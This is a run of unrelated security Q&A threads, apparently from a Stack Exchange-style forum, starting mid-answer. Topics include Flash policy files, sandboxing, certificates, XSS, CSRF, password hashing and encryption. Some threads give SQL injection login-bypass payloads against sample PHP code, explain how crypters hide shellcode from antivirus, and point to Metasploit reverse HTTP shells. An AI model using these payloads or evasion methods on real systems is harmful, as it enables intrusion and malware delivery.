I believe that once upon a time, Flash applets could specify where to look for the crossdomain.xml policy file; in particular, Flash would gladly look somewhere other than the root of your site.  Suppose you allow users to upload files of their choosing, with their own choice of filename, into the /uploads directory.  A malicious user could upload to http://www.example.com/uploads/crossdomain.xml.  Then, the malicious user could host an evil Flash applet on their own site and have it tell the Flash platform that www.example.com's policy file can be found at http://www.example.com/uploads/crossdomain.xml.  Flash would happily comply, leading to unhappy consequences.
I believe that modern versions of Flash player no longer suffer from this vulnerability.  They will always look first at the root directory, to check for a crossdomain.xml, and will only look for crossdomain.xml files elsewhere if the one at the root allows it.

Once upon a time, older versions of Flash player had security flaws that would allow an attacker to fool Flash player into looking somewhere other than the root directory for the crossdomain.xml file.  Then we're in the same situation as the previous risk.  I believe this vulnerability has been fixed long ago.

I don't know whether the latter two risks are relevant any more.  I think they've been fixed long ago.  However, I suppose it is possible some of your users might be using old versions of Flash player that still have this problem.
Given what you said about hosting all user content on a separate domain, as far as I know, your site should be safe, even if you don't take any further actions.  However, maybe Michael Zalewski knows something I don't know.  (OK, I'm sure he knows a lot that I don't know; I mean, maybe he knows some fourth risk/attack that I'm not aware of.)


Same-origin policy for desktop application? The same-origin policy is one of the most important security feature in our browser.

It basically provides sandboxing for our applications which is protecting our users.

Desktop application can read anything on your computer. If you install a malicious application by error, it might start reading files that you don't really want to share with it on your computer. For example, it could steal your cookie (with enough permission?) and impersonate you on website.

So, I was wondering :

Is there something like same-origin policy for desktop application?

It seems that it would solve so many security problems on desktop.

Currently, if you visit a malicious website, for example a website impersonating google, you are not compromised forever. When you leave the malicious website, you are fine again. If you didn't do anything dangerous on it, such as typing your google login information, then nothing bad happened to you.

On the contrary, if you install a malicious desktop application, which I see as the equivalent to loading a malicious web page, all your data and system is compromised. Often, you might need to completely format then reinstall everything on your computer to get rid of that malicious application (virus).

It seems for me that if any application, including virus, were limited by same-origin policy by default, you could install many virus on your computer, which unaware user often do just like they visit malicious webpage often, and you would still be fine.

Other useful questions

Why aren't applications sandboxed in Windows?

How can I restrict what an application can do with my computer?

It seems to me you're discussing two things: sandboxing on the desktop and then strategies for user content access in sandboxed applications.

Sandboxing

There are many sandboxing models out there, including the ones used by OSes:

Windows 8 WinRT Store Apps
OS X Sandboxed Store Apps
iOS Apps
Android Apps

Some apps are shipped sandboxed, for instance Chromium (using seccomp2/BPF on Linux, and integrity levels on Windows), Acrobat Reader and Microsoft Office (via the Protected View, see below), etc. And tools that force specific apps to be sandboxed, such as Sandboxie (Windows), mbox (Linux), etc. Add to that a plethora of research prototypes that are more or less functional...

Sandboxes essentially limit the ability of apps to do IPC, access user data, inspect other processes, perform system calls that might be dangerous, have access to the system, and limit a couple of extra APIs such as access to device capabilities. They almost always rest on system call interface interposition (seccomp/BPF/Capsicum), building/linking against specific APIs (e.g., WinRT) or mandatory access control (SELinux-sandbox, Android?), etc. combined with capability/permission systems for access to dangerous interfaces (device caps, some forms of IPC or file access, network access...). These capabilities can be obtained at install-time (bad: people don't always review them and usually can't revoke them e.g. Android), at runtime through prompts (bad: nobody reads them), or through trusted UI elements (good! see powerboxes, UDAC, security-by-designation, and this is now partly implemented on Windows 8, OS X and will be part of the Linux GNOME sandboxing model). Sometimes access to the file system is managed through a layered file-system so that apps don't notice the restrictions imposed on them (e.g., mbox, Linux namespaces).

This being said, the main issues with regards to sandbox performance are the ability of developers to build apps that are sandboxed, and the ability of sandboxing models to accurately limit applications to the least privileges actually needed.

For instance, on all the existing OS sandboxes (Win, OS X, iOS, Android) apps have permanent access to all user files they ever opened (e.g. futureAccessList in WinRT that allows you to reopen every single file/folder you've previously seen). This means that compromising a legitimate app potentially gives you access to all the files related to it. This is in sharp contrast with a same-origin-policy where an app would be able to access only content related to whatever it has been manipulating before: you compromising an app with e.g. a crafted file or packet should then only lead you to gaining access to the data that has been accessed in the same session or from the domain where the data was downloaded / network packet sent.

Some models close to SOP in desktop sandboxing

Windows Apps' Protected View: some apps, e.g. Office and Reader, can create restricted compartments in which they will open a file deemed suspicious. Because such compartments would not be allowed to interact with the main UI, the majority of the apps' features are disabled: the file is read-only, not always printable, and so on. Users have to click on a button in the main UI to make the file read-write and enable those features, essentially removing all protection. The assumption of this model is that:

content rarely needs to be edited and often needs to be consulted (which is probably true in many cases)
users will notice themselves when a malicious file is malicious, just by seeing it (which is not true at all :) )

Files are deemed suspicious if they are downloaded from a non-white-listed domain, or attached to emails from people who are not part of your contacts. This works well for some corporate users but not for all, and some users have been asking how to disable Protected View.

Content-Based Isolation: this is merely a theoretical model for a service-oriented OS developed by Microsoft Research. There's fairly little information on what's being developed and what for and it's likely this is not what you're interested in. Actually their paper provides very clear arguments why content-based isolation is due to become a hot topic and what it can be expected to provide.

Qubes OS: Qubes OS is an activity-isolation OS based on the Xen VMM. It allows users to create and name VMs in which they can run sets of apps, and merges the interfaces of the different VMs in a custom-made desktop environment. It provides very few of the typical features of a modern desktop, but has a very strong security model, especially wrt. hardware and low-level attacks on OS components.

Its main issues lie in the fact that it is modal: users have to remember at all times in which VM an app is running and make sure never to mix VMs together to avoid breaking their security model. They also have to manage syncing files between app VMs themselves. This is a typical no-no in HCI for most users, and the Qubes OS developers advertise their OS only for people who are motivated in security and willing to maintain their security model. Qubes OS is the most advanced prototype of OS isolating content rather than just apps.

More experimental models include PIGA OS which uses a SELinux-based MAC enforcement system to prevent unwanted information flows. It can be reconfigured on-the-fly with new policies thanks to a component called ContextD, assuming someome wrote policies in PIGA's own MAC language for each activity that must be available to the user. Policies cannot be updated by users and in fact users can't even see what policy is being enforced. They can only perform one activity at a time on the whole OS rather than have activities per app. PIGA OS is not usable in production, and was developed as a research prototype for a contest on OS security. I was involved in developing some tools around it, and the team was more interested in developing the technical infrastructure than the user interface. The threat model explicitly included users as adversaries.. I don't think that the project is being continued.

Finally, another research team is currently developing Bubbles for Android. If I remember well it uses Linux namespaces to isolate applications or groups of applications. It provides some UIs for managing different "social contexts" and sharing data with contacts participating to those social contexts. The model is very oriented towards collaborative information sharing and communication, which is a typical workflow of mobiles rather than desktops (where more complex workflows exist). What I regret about it is that there's no vision of how those social contexts emerge and are managed over time, which takes us to...

Why exactly is it so hard?

The main issues surrouding the identification of content that can be put together and isolated in the same container are issues related to people's awareness of the structure(s) and context(s) of their activities, how able and willing they are to make an effort to manage accurate representations of their works (and what can be provided to them in the way they perform computing to compensate for those costs), how computers can manage meaning on par with human beings, how mode can be handled in complex interfaces, how to account for the situatedness of human action and the need for users to routinely cross through security boundaries in their daily use of computers, how to handle ephemeral or emerging activities, and so on.

These are all hard, complex HCI research topics. Some relevant readings include Bardram's Activity-Based Computing project, theories such as Activity-Theory, and pretty much all of the phenomenology-inspired theories and studies in HCI (especially Situated Action and Embodied Interaction). The astonishing majority of security research (including "usable security" research) assume that users are willing or able to focus on security-related tasks and to maintain accurate models of security, and that the existing issues are all solvable with some UI fixes and better "security communication". The research they are doing relies on different theories of human action and different research methods than the ones that are needed to understand how people create and maintain meaning for what they do on computers and to understand how such a meaning can be represented within a computer and transformed into security boundaries. To the best of my knowledge there is no one else investigating the user experience and appropriation of isolation mechanisms at the moment, and I'm afraid I'm not progressing particularly fast :) I don't have any published reports/papers on the topic at the moment, but feel free to ask for clarifications/extensions if you're interested in the topic.


What is the difference between an X.509 "client certificate" and a normal SSL certificate? I am setting up a web service through which my company will talk to a number of business customers' services.  We will be exchanging information using SOAP.  I would like to handle authentication with SSL certificates provided by both parties, but I'm a bit lost on whether there's a fundamental difference between the types of certificates.

When people talk about HTTPS, they talk about getting an SSL certificate from Verisign or another authority.  When they talk about client-side authentication, they talk about getting an X.509 certificate. Are these two words for the same thing, can one be turned into the other, or is some other difference that I'm not grasping?

An X509 Certificate is a type of public key in a public/private key pair.  These key pairs can be used for different things, like encryption via SSL, or for identification.  SSL Certificates are a type of X509 certificate.  SSL works by encrypting traffic as well as verifying the party (Verisign trusts this website to be who they say they are, therefore you probably could too).  Verisign acts as a Certificate Authority (CA).  The CA is trusted in that everything that it says should be taken as truth (Running a CA requires major security considerations).  Therefore if a CA gives you a certificate saying that it trusts that you are really you, you have a user certificate/client certificate.

Some of these types of certificates can be used across the board, but others can only be used for certain activities.

If you open a certificate in Windows (browse to something over SSL in IE and look at the certificate properties) or run certmgr.msc and view a certificate, look at the Details tab > Key Usage.  That will dictate what the certificate is allowed to do/be used for.

For SOAP, the certificate can be used for two things: identification and encryption.  Well, three if you include message signatures (message hashing).

Client certificates identify the calling client or user.  When the application makes a SOAP request, it hands the certificate to the web service to tell it who is making the request.


Have I used LUKS properly? I am about to go travelling to some high risk countries where corrupt officials will most likely try to go through my laptop and external HDD.

I am using Linux Mint and LUKS. Could someone please tell me based on these pictures whether I have encrypted them both properly, this includes the cache (or whatever it is called) as I would hate to leak information. I know that /boot can stay unencrypted.

Picture of my laptop's HDD:

Picture of external HDD after I entered password:

I can provide more information upon request.

Thank you

IMHO, your LUKS setup is OK:

On internal drive, you only have /boot that is unciphered. The rest of the volume consists in a stack of LUKS + LVM, so it's ok.
On external drive, everything looks encrypted.

Just a small remark: 700MiB is a lot for a /boot partition....


Why don't web templating frameworks HTML escape all data by default? I recently discovered an XSS vulnerability in an application that uses JSP to render pages. The vulnerable code in the JSP was something like this:

${customer.notes}

It was fixed by escaping the user controlled input, the resulting code looks like this:

<c:out value="${customer.notes}"/>

JSP, and other templating frameworks I have used, always default to only escaping dynamic data when specifically requested to, and not escaping by default.

The inverse of this is clearly a far more secure default, ie. all dynamic data is escaped, unless you specifically tell the framework not to.

Are there any frameworks that work this way? Is there a major issue in changing future frameworks to behave this way? Obviously you incur the over-head of escaping data that may not necessarily be user controlled, but if you run into performance issues, you can disable it wherever safe. Is there something I'm missing?

Are there any frameworks that work this way?

Sure. Twig or Django would be two examples.

  The inverse of this is clearly a far more secure default, ie. all dynamic data is escaped, unless you specifically tell the framework not to.

Yes, this is a lot more secure.

  Is there something I'm missing?

The one downside is that XSS is context-sensitive. Default encoding may not be enough[*], and it may thus lead to a false sense of security.

On the other hand, just HTML-encoding ', ", <, and > will catch the vast majority of XSS vulnerabilities, so I would say that it is always a good idea to encode by default and provide an option to disable the encoding by default if needed.

  Why don't web templating frameworks HTML escape all data by default?

JSP for example is from 1999. XSS wasn't even called XSS until 2000. My feeling is that newer engines are more likely to encode per default, because the prominence of XSS is higher, and more care is put on security (by default). Older engines likely do not want to break backwards compatibility and thus do not change the existing behavior.

[*] very simple example: <script>var x = foo.[USERINPUT]();</script>.


Saving passwords decryptable for later usage I'm in a situation where I need to calculate a hash of the result of the password in plain text plus some random chars representing a session. The gained hash will be compared to another hash that is received by the opponent. The problem is, that I only get the full hash from the opponent which can only be regenerated (or rebuild) with the plain text password.

What is the best practice in this situation? I thought of a algorithm such as AES for saving passwords in a persistent storage to decrypt it later but since I'm operating with the plain text passwords, it might not be very secure and another aspect would be the fact that I operate with sensitive information at this point. Salting seems also impossible.

Hashes are not meant to be reversed, and so there is no way you use a hash algorithm to protect a password and see the plain-text later.

What you can do is use a proper encryption algorithms or public and private keys to encrypt and decrypt the passwords, for example PGP.


SQL injection authentication bypass I am testing a SQLi login bypass on the PHP code below:

if(isset($_POST["login"]) && isset($_POST["password"])) {
    $sql="select * from users where login='{$_POST["login"]}' and password='{$_POST["password"]}'";
    $result=mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) != 0)
        echo "
Login Success!
";
    else
        echo "
Invalid Login!
";
}

I am using admin' -- as the login field in order to bypass the login without entering a password, but it doesn't work. However, when I tried using admin' -- ' -- instead it works.

How and why does the second cheat work but not the first one?

These are the server-side codes when I enter the two cheats:

$sql="select * from users where login='admin' --' and password='{$_POST["password"]}'";
$sql="select * from users where login='admin' -- ' --' and password='{$_POST["password"]}'";

In mysql you need a white space after comment marker. Just put one whitespace character after --.

select * from users where login='admin' -- now you can add comment

Generally add trash character after the whitespace against trim function. Like;

admin' -- xx


How to implement CSRF protection with a cross origin request (CORS) tl;dr the Cookie-to-header-token method can't work due to the CSRF token cookie not being readable by the client in any way. Is sending the token in a header, and having the client save it in a cookie immediately considered a valid alternative?

I am trying to find a way to mitigate CSRF in a cross domain scenario where the client stores all the static assets (including the index.html entry point) and the server is in a completely different domain (no shared  parent domain).

I was looking at first at the Cookie to Header Token method, but it seems that both the client and the server must be on the same origin.

(The server issues a JavaScript readable cookie named XSRF-TOKEN, the client, being on the same origin, can read the cookie, then add a header on all subsequent calls, e.g. X-XSRF-TOKEN, this is how for example Angular handles CSRF, this all works great as long as both are on the same domain or share some parent domain)

However, it seems that for cross origin domains, this won't work.

Assumptions

XHR can't access the Set-Cookie header. XHR doesn't allow looking at response cookies. Even with the most permissive CORS headers, and even if not set as httpOnly, it's blocked by the browser. (It will also hide the Set-Cookie header if looking in dev tools) (https://fetch.spec.whatwg.org/#forbidden-response-header-name)
Other domain's cookies are not JavaScript accessible, obviously, even if not set as httpOnly, and even if the XHR request is withCredentials=true and will send that cookie in future requests to the cookie's domain (assuming matching header in the server) it's never JavaScript accessible, and we all are grateful for that.
Setting the Cookie Domain to that of the XHR's Origin doesn't work. What if the server will set the cookie to the client domain? It is impossible to set a cookie for a different domain of course, (https://tools.ietf.org/html/rfc6265#section-4.1.2.3) and this includes XHR, e.g. if I have XHR in page ui.example.com make a request to a server in api.example.net, and the server sets a cookie with domain ui.example.com, the user agent seems to reject the cookie from what I've seen, (I assume since the server and the page itself are still in different origins), although the XHR Origin is the same as the Domain that was set in the cookie, this won't work, and I'm sure there are good reasons for it.

The only method I can think of at the moment is having the server send the CSRF token as a header that the XHR can read, the client will then store it via JavaScript in a client domain scoped cookie, then the rest will work as in the Cookie to Header Token method above.

Questions

Are any of my assumptions above incorrect?
Is there any authoritative source that defines the alternative approach above as secure? Does it have significant disadvantages over the same-domain cookie-to-header-token method?
Are there any other ways to securely mitigate CSRF for this use case?

Related Answers I Reviewed

I went through the following questions / answers but none of them felt like an authoritative answer to my question, I may have missed to read between the lines so my apologies if this is an exact duplicate

Same Origin Policy and CSRF-Tokens
XMLHttpRequest CSRF fails with allowed CORS
Protecting against CSRF, JWT, cross domain
Retrieving CSRF token cross-domain using JSONP, risky?
https://stackoverflow.com/questions/24680302/csrf-protection-with-cors-origin-header-vs-csrf-token
https://stackoverflow.com/questions/6761415/how-to-set-a-cookie-for-another-domain

Our conversation started in the comment section, but I realized some inaccuracies in what I wrote. The sharing of cookies across domains is stricter than I thought at first. This should be a more comprehensive overview, and closer to what you might be looking for.

I will make a few assumptions:

You have two domains: foo.com (ui) and bar.com (api)
You want to prevent another domain like evil.com from causing side effects/reading responses from bar.com (CSRF + CORS protection)

Approach 1: Using CSRF tokens

This can be done using cookies, or simply using custom headers and storing the values in session storage or as a hidden input in a form. This means you manually need to send the CSRF tokens as custom headers with every request. Both from server and client.

Cookies will not be a good option here, since foo.com and bar.com are separate domains.

Limitations of cookies for different domains (that are not subdomains of the same domain)

foo.com --(request)--> bar.com

Any cookies stored in your browser with Domain=bar.com (that does not include SameSite=lax or SameSite=strict) will be sent along with the request assuming withCredentials=true

foo.com <--(response)-- bar.com

Set-Cookie is an illegal header in cross-domain requests, as mentioned (https://fetch.spec.whatwg.org/#forbidden-response-header-name).
Trying to set a cookie with Domain=bar.com using JavaScript while at foo.com will not work either.

bar.com --(request)--> bar.com

Here, Set-Cookie will work. Hence a redirect from foo.com->bar.com and then back will be able to set a cookie with Domain=bar.com. (So this could be a somewhat ugly/slow workaround)

Approach 2: Checking the Origin header

This is probably the simplest/cleanest option. (You won't need CSRF tokens if you use this method).

NOTE: The reason OWASP recommends only using the Origin header as a secondary measure to CSRF tokens is that the Origin header didn't yet support all common browsers when the recommendation was made. All common browsers have supported this feature for quite some time now. (It is currently ~3-4 years old)

*.com --(request)--> bar.com (CSRF)

Make sure that you check the Origin header of the incoming request in the bar.com-server. If this is either missing or https://foo.com, the request should be accepted. Otherwise, the response should be something like 403 (Unauthorized).

*.com <--(response)-- bar.com (CORS)

The response needs to have the proper CORS headers (assuming it was accepted, and the Origin header is not missing):

// Something like this, depending on your server language
response.setHeader('Access-Control-Allow-Origin', request.getHeader('Origin'))


What is network steganography? I am new very new to networking concepts I do not have any idea about network steganography. Can anyone please explain what it is. what is its advantages and disadvantages?

Steganography is the art of hiding information in other things, often related to images.

In the case of networks, you can play for example with TCP headers to send a hidden message. Here you have a paper -> http://gray-world.net/es/papers/ih05coverttcp.pdf


is sameSite attribute redundant on httpOnly cookie? If a cookie (auth cookie in particular) has httpOnly attribute set, does sameSite attribute add any other layer of security?

From my understanding, sameSite is used to prevent CSRF, but httpOnly mitigates that, no?

Only thing I can think of is that the server would drop the sameSite cookie if the attacker got hold of it and sent it to the server from a different domain (not sure what use that would have).

No, HTTPOnly does not mitigate CSRF attacks...You do indeed need SameSite for that.
What HTTPOnly does is to protect your cookies from being extracted and abused by an attacker who has found an XSS vulnerability on your website. SameSite on the other hand, prevents them from being sent along with requests from different sites, which can occur without the attacker ever having access to the cookies. This doesn't eliminate the need for CSRF protection in your application as browser support for the SameSite attribute is currently limited and the RFC is still in draft status, but setting it may be useful as a defense-in-depth measure.


Prevention of netcutter use in the College LAN I am a student,residing in a hostel,accessing internet,using College LAN,which is protected by Cyberoam Corporate Client authentication,and the bandwidth is equally distributed to all students but a student is illegally using netcutter to deny others of internet access.The network admin is unable to catch him because he is bypassing the Cyberoam login.How can I help the network admin to track the person down,with no admin access?

Are you talking about the software that can be used in ARP spoofing? Sorry, I just did a quick search on Netcut and wanted to be certain. If not, then ignore the rest of this post.

If so, these type of issues can be resolved on a managed switch, but the net admin will need to perform the configuration. Do you have physical access to the switch? Wireshark can detect ARP issues, but you may need to be tapped into the correct location in order to see the responses. Or, start unplugging cables and wait until someone calls about the loss of network connectivity (I am joking about that point).

It may be hard as a non-admin to locate the person, but a properly configured switch can mitigate the issue and tossing Wireshark on a computer to detect duplicate IP addresses may need to be performed by the admin.


Study roadmap to write a crypter / backdoor Recently I came across a site called SecurityTube.net, which has a ton of amazing security stuff. I'm following their Python Scripting Expert videos which are totally worth it. I also came across the concept of 'Crypters', which evade antiviruses and can be used for Metasploit payloads.

I decided to ask here because there's a lot of varying opinions like:

Python isn't the best language to write a Crypter, as the exe generated is large.
VB is the real deal, etc.

I personally feel the best roadmap starts with diving deep into the assembly language videos posted on SecurityTube and graduate to at least the Exploit Research series.

I've some experience with Java (along with some JCE) and PHP i.e. general high level programming being an IT student but low level programming has only recently interested me.

So is my thinking of diving into assembly in parallel with my Python learning the correct pathway? Thanks

If you want to write a crypter, usually you take a certain shellcode and then load it into a script which generates another shellcode which contains an encrypted form of your shellcode. At runtime the shellcode will then be decrypted and run. To generate this encrypted form you will need to either use an existing crypter or create your own. In your python script you then encrypt your shellcode so it's decryptable from your new shellcode (which contains the encrypted shellcode).

I'm an avid Python user, others here use Ruby (in which Metasploit is written btw). In the end you should use the best tool for the job. However this is very diverse depending on your platform. So you should just try a few tools and then decide which is best for you. There is not a single good tool for doing this. (but you will need to learn some assembly if you want to write low level exploits)


Malware that uses http as a covert channel I'm working on a http traffic analyzer and I need a collection of malware, which uses http as a way to get commands and respond, to analyze their network behaviour.

Is there any database of malware, where I could actually download the code and analyze it?

If you know just name of some malware using http, answer with the name too please.

Some researchers will not let the public download malware, for obvious reasons, but you might be looking for things like:

php shells
java shells
bots

Metasploit
You also have Metasploit as a resource of open-source HTTP/S shells, stagers, and 'malware' to play with:

http://www.metasploit.com/modules/payload/windows/shell/reverse_http
http://www.metasploit.com/modules/payload/java/
http://www.metasploit.com/modules/payload/php/

If you are new to Metasploit, there is an official tutorial that also includes how to use the HTTP shells.

Bots
As for bots, there is a famous IRC bot from "feelcomz", that has code in many places online. A Google search will get you the code. There are also good bot simulators.

Other Options
Many Snort rules include the reference to the malware they detect, which allows you to see the malware behavior and to hunt down specific types. Or, you can set up a honeypot and collect your own live malware to analyze, which is how researchers build their own malware databases.

That list should keep you busy for a while...


What web authentication protocol? I need to implement a web-based authentication protocol so users I know can be given access to a third-party web application. I will work with the developers of that web application to implement both sides, since they currently do not support authentication delegation.

At first, I thought I would implement an OpenID 2.0 IdP, since I thing the protocol is simple and well-designed. But the other developer feels concerned that OpenID 2.0 is considered obsolete, and thinks we should rather use the newer OpenID Connect…

Given that we have no need for authorization delegation that OAuth might provide, OpenID Connect looks bloated to me.

So, should I consider it is dangerous to deploy the obsolete OpenID 2.0 now and choose OpenID Connect or should I insist on using the older and simpler OpenID 2.0 protocol?

And if I should choose OpenID Connect, is there a good reason not to use the implicit flow (with “response_mode” set to “query”)? I’d rather avoid the extra server-to-server round-trip that looks useless to me, for a protocol that only provides identity…

I'll take on this question from the usability and extensibility point of view.  For example, if I'm planning to use a protocol to exchange data, say text messages between users, over the network between two applications my first choice would be HTTP.

Why would I choose HTTP instead of something simpler, for example raw TCP with some hand made header on top?  Because application grow, and I know that in two months time I'll be extending this simple hand crafted header to add text encoding.  In four months time I'll extend the header again to allow for chunked transfer.  And in 3 years time I'll end with a horrible to maintain and document hand crafted header that is probably buggy as hell (including security implications).

If I choose to use HTTP, at first it will look bloated.  But after 3 years I'll discover that 80% of the extensions I have added are conformant to some part of the HTTP protocol.  So I need to document less things, and need to maintain less code myself.

And now back to OpenID 2.0 vs. OpenID Connect.

OpenID Connect is layered on top of OAuth 2.0, OpenID 2.0 isn't.  For a long time OpenID was a concurrent system to OAuth, yet, they both have a slightly different philosophy of usage:

OpenID is a way to have a single set of credentials to several places.
OAuth is a way to access data that is stored in one place from several places.

So yeah, you are looking for a solution in which that users from one place can access another place using the same credentials.  You are after OpenID not OAuth.

Yet, it is highly likely that at some point in the future you will want to extend this interaction between the two websites and share not only credentials but also data between the two.  If you implement OpenID 2.0 now, you will need to implement OAuth at that point and will have a cranky piece of software in which there are two different types of credentials floating around.  And that is quite error prone.

If you go for OpenID Connect, then, when your users will want to share data, you will have the scaffolding already built.  All you will need to do is to add extra processing of the valet key and your application is clean.

Of course, it is only likely that at some point in the future the interaction between the websites will need to increase.  And to evaluate this likeness is beyond the information that can be written in a discussion of the comparison of the advantages and disadvantages of the two protocols.  Yet, I'd certainly prefer having an ace in the hole for when such a situation arrives, rather than risk ending with an ugly and error prone extension.


Is it safe to publish the hash of my passwords? How unsafe would be to publish the hash of my passwords?
I have written a Python script for helping me to remember my basic passwords (computer password, encrypted backup password, AppleID password, and KeyChain password).
It is hardcoded inside this:
SHA256(MD5(password) + password + MD5(password))

for each password and I periodically run it to keep my memory fresh.
I have a private repo on GitLab where I store all generic files and I would like to commit this script. I can't see any problem doing this since, as far as I know, it would be impossible to recover the original password, but I prefer to ask experts, to be sure.
EDIT:
I'm adding an anonymized version of my script, so you can understand how it works:
from hashlib import md5, sha256
from getpass import getpass
from random import choice

def hash(pwd):
    pwd = pwd.encode()
    return sha256((md5(pwd).hexdigest()+str(pwd)+md5(pwd).hexdigest()).encode()).hexdigest()

dict = {'pass1': '6eaa49070c467d1edead2f6bc54cf42cdda11ae60d40aef2624a725871d3f452',
        'pass2': '240cbc4ba2661b333f9ad9ebec5969ca0b5cf7962a2f18a45c083acfd85dd062',
        'pass3': 'b018ed7bff94dbb0ed23e266a3c6ca9d1a1739737db49ec48ea1980b9db0ad46',
        'pass3': '7dd3a494aa6d5aa0759fc8ea0cd91711551c3e8d5fb5431a29cfce26ca4a2682'
       }

while True:
    tipologia, hash_result = choice(list(dict.items()))
    while True:
        pwd = getpass(f'Password {tipologia}: ')
        if hash(pwd) == hash_result:
            print('Correct!')
            break
        else:
            print('Wrong!')

MD5 and SHA256 were both designed to be as fast as possible. Their purpose was to compute a hash for relatively big data volumes, e.g. for files. That's why they are very fast, which makes brute-forcing easier.
A single GPU can generate ~10^10 SHA256 hashes per second. It is ~10^15 per day. Computing of MD5 is much faster, on some GPUs ~5 times faster. So let's ignore MD5 part of your algorithm and consider SHA256 only.
Suppose you have a password that consists of 10 alphanumeric characters, i.e. from a 62-character set. The number of different passwords is 62^10 ~= 10^18. It means, to brute-force such password an attacker would need 10^18 / 10^15 = 1000 days with single GPU, or 100 days with 10 GPUs, or 10 days with 100 GPUs. Thus, an attacker that can afford 10 GPUs, will break such password in 100 days.
If you use 16-character passwords, i.e. 6 character longer, then required computing power need to be 62^6 = 5*10^10 higher.
Thus, the security depends essentially on how long your passwords are.
Another important factor is the costs of brute-forcing and possible benefits for an attacker. For instance, if brute-forcing your passwords will cost an attacker 900 000 USD, and knowing your password gives the attacker benefit of 1 000 000 USD, then in total this will give 100 000 USD benefit, and brute-forcing makes sense. But if password gives only access to a bank account with let say 10 000 USD, then an attacker will lose 890 000 USD. In such case brute-forcing makes no sense for the attacker. Only you can decide if somebody will be interested in paying much money for computing power needed to brute-force your passwords.
And it makes sense to use hashing algorithms that are designed to be slow, e.g. Argon2 or Lyra2. They have tunable parameters. Use values such that a single hash takes 0.1 - 1s. Thus you can essentially slow brute-forcing down and reduce the risks even more.


When testing out security vulnerabilities on sites such as OWASP Projects, should we be in a secured/protected environment? I was curious if there is any need to secure/protect ourselves when doing projects on sites like OWASP to learn about vulnerabilities or "Wargames/Challenges" such as what's posted in these links

How to get started?

Best resources to learn web security attacks?

How do I get started with security? (beginner)

It seems that these sites are created for legal purposes, with the intent of learning. I'm curious if that is also a concern for malicious users altering these projects that could hurt others, or possibly some of these not being all that protected...?

I'm curious if people would recommend being in a VM/test machine (would you always want to use a VM, over a physical machine, just in case of hardware malware, or w/e?), as well as VPN/Proxy for privacy, etc?

Just curious if any of this is needed, or if most of these sites are legit...

Maybe it's just good practice in general to always protect yourself from sites you don't know about (i.e., block JS, cookies, plugins, etc)?  I just figured since we are working with vulnerabilities and stuff that could be dangerous, that we should be protected on our end too?

There is a saying, and it goes like
Only the paranoid survives.
To answer your question, these kind of practice machines are built for the practice purpose by security enthu and experts who want to give something back to the society. By doing so the creator gets reputation and fame (sort of) in the Infosec family.
On the other hand, if you think about it the people practicing on these machines are mostly beginners with half the knowledge and can be a perfect target for such things. I mean look at the daily Infosec news like CISCO 0 Days, Xiomi's backdoors, exploits in linux systems such as overlayfs and many other examples will only inspire you to be as cautious as you can. Although no such news has ever surfaced, at-least not to my knowledge. But there is also first time for everything.
Again if one thinks about it, all such kind of projects are open-source and all their code and steps are available and easily visible. Also websites like Vulnhub who hosts the CTFs, always make sure these kind of things do not happen before they host any new user submitted machine. So as long as you are downloading your practice machine from a legit website you should be good to go. But again i can't argue with the urge to be more careful. Because no matter how careful you are, it's never enough, at-least not in the infosec field.


How can I tell if my client has been infected with CryptoWall? Today a client ran a file they believed to be something else, they said a black window appeared, so I checked the code to see what it ran in CMD, but can't quite work out what it's doing.

I've just been reading about CryptoWall 3 and am worried it could be that now.

This was the code in the file she ran:
http://pastebin.com/JBNbbRQT

And here is a decrypted version I obtained from an online converter:
http://pastebin.com/Q3iUE4By

I can't quite work out what its doing with the jpg and exe file. Is this CryptoWall? If not, what is it and should I be worried?

I ran a scan using Vipre and it came up clear.

The file in question does not exist (404).
What the code does, is downloading the rep.jpg file as 83152553.exe.

The code is equvalient with right-clicking on the link (http://.../rep.jpg), save as, save on harddrive, and then renaming rep.jpg to 83152553.exe , and then possibility executing the file.

The reason its a JPG file is to circumvent upload restrictions on websites that only permits uploading certain file types. By renaming 83152553.exe to something.jpg (and renaming it back when the exploit downloads the payload), the malicious user can upload the file to for example a image hosting website.

Since the file is taken down, I cannot answer your question about if its Cryptowall or not. This is a simple payload downloading script that downloads a arbitary payload from a website, the payload can be anything, Everything from a custom made keylogger to a simple network spreading worm, to a randomware. Just anything. Only way to surely know is to upload the rep.jpg/83152553.exe file to Virustotal if you still have the file.


Use of SoftHSM2 in commercial products I came across SoftHSM2 from OpenDNSSec(BSD license) which is a drop-in replacement for HSM except that SoftHSM2 only lacks physical security. Also, being the fact that PKCS#11 is the standard interface to work with both SoftHSM2 and HSM/TPM without any changes in code, it stands as a good choice to me. Thus, it would allow using the same hardware with and without TPM part mounted running identical binaries.
Please suggest to me, the use of SoftHSM2 in commercial products provided that the physical security of the product is taken care of by other means, and also could you name some products using SoftHSM2 already? Also, Are there any vulnerabilities found in softHSM2, at-least I could not find any?

I think Soft Crypto (SSM- Software Security Module) uses a free defined master key. Which needs to be stored very securely in clear. Because the master key is responsible for encrypting all the other keys. Normally, as per my knowledge, some processors may have crypto storage in which this key might be stored. But it's not very secure.
When comes to the HSM, it has physical security which has a tamper-resistant secure vault for the master key. Whish SSM does not have. Also in HSM, the master key is generated by a true random number generator and to which no one has access.


Encrypting an empty database field versus leaving it empty In a system where personal information stored in a database is encrypted, but one of the fields only contains data in a minority of cases, would it make more sense to leave the field empty, rather than encrypting an empty string?

On one hand if I choose to leave the field empty, I would be leaking information about the contents of the record (populated or not)

On the other hand, if I encrypt the empty field, most of the time I am giving a potential attacker a known plaintext.

The algorithm being used is AES-256.

I'm aware that an attacker would still have to brute force the key even if they obtained a ciphertext/plaintext pair, however I'm curious what the community feels the best practice approach would be here.

Since only a minority of the records might contain actual data in that field (non-empty), an attacker can guess the plaintext (the empty ones) with a high probability. So your assumption is correct. Luckily, for you and for us, as far as we know, AES isn't really susceptible to known-plaintext attacks.

The attacks we already know about require large amounts of plaintext and their corresponding ciphertext, and have very high computational complexity (2254.4 for a 256-bit key).

I'd say don't worry about it. Go with encrypting that data field.


In what ways does Full or Partial Homomorphic Encryption benefit the cloud? Can someone explain, in plain English, the practical ways FHE and PHE can be leveraged in the cloud?  Some interesting (and confusing) links include this Microsoft Research PDF and this wiki entry.

Questions:

Is homomorphic encryption considered secure, from a cryptanalysis PoV?
What operations can/can't be done with FHE/PHE data?
Considering that some PHE algorithms exist today, and they are apparently fast enough; should they be considered for production use?  Please provide some scenarios in which PHE could be used.

Related:

What Partial Homomorphic Encryption implementations exist and how do I leverage them?

